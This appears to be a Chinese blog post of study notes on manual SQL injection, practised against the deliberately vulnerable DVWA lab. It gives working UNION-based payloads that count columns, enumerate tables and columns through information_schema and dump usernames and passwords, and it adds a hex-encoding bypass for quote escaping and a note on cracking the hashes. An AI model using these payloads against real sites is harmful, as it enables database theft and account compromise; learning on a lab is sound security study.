sql注入的研究

手工注入:
原理: 一般来说,用户传入的数据不能直接在sql语句中运行,
服务器期望的是只得到传入的数据,而不是执行更加深入的语句
而当通过手工注入的时候,发现注入的错误语句被执行了,说明
程序允许更高级的语句通过程序运行,所以我们就可以使用更高级
的语句让程序执行
注入的方式:
1:错误的盲注:输入 ' 查看是否报错
2:基于布尔表达式的注入:判断是数字型的还是字符型的
and 1=1 -- (--空格)
3:基于时间的盲注 :and sleep(时间)
4:使用sqlmap等自动化工具进行注入

手工注入的步奏:
1:判断是否含有漏洞 。(1)
1:1'
2:
1' and 1=1 -- ' and 1=2 -- ' 两者输出不同
1' and '1'='1' --
2:猜测查询数据库的字段数 (
2)
1' group by 2 --
3:确认当前数据库名称和版本号,同时也是验证字段数确实为2
' union select database(),version() --
4:获取这个数据库中的表名,使用sql系统函数 (3)
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() --
获得大量的表名。
5:根据表名获得的字段名(
4)
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --
6:根据字段名查询数据(*5)
1' union select user,password from users --
7:根据查询到的用户名和密码进行登录,对于加密密码可以到cmd5网站进行撞库破解

dvwa medium手工注入测试(ps:不知道把单引号给转义了有什么用。仅仅把单引号注释了?)这种方法不行,大家可以试试
用burp直接转发):
1:测试注入类型
1':报错证明存在漏洞
{1' and 1=1 -- (报错)
1 and 1=1 -- (不报错)}:
说明存在的漏洞是数字型注入
2:判断这个表的字段数:(这一步可以用来试错,无关紧要)
1 order by 3
3:查看数据库的版本和当前数据库(如上)
4:查询此数据库的所有数据表(这里后面不注释也能成功,各位可以试试!ps:可能是过滤函数的锅)
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()
5:根据数据表查询某个表的所有字段(值的注意的是,这里的'user' 因为会屏蔽' 所以这里使用16进制编码)
1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
6:根据查询到的字段名查询数据
1 union select user,password from users

posted @ 2020-09-17 13:51  秋夜风起人微醺  阅读(307)  评论(0)    收藏  举报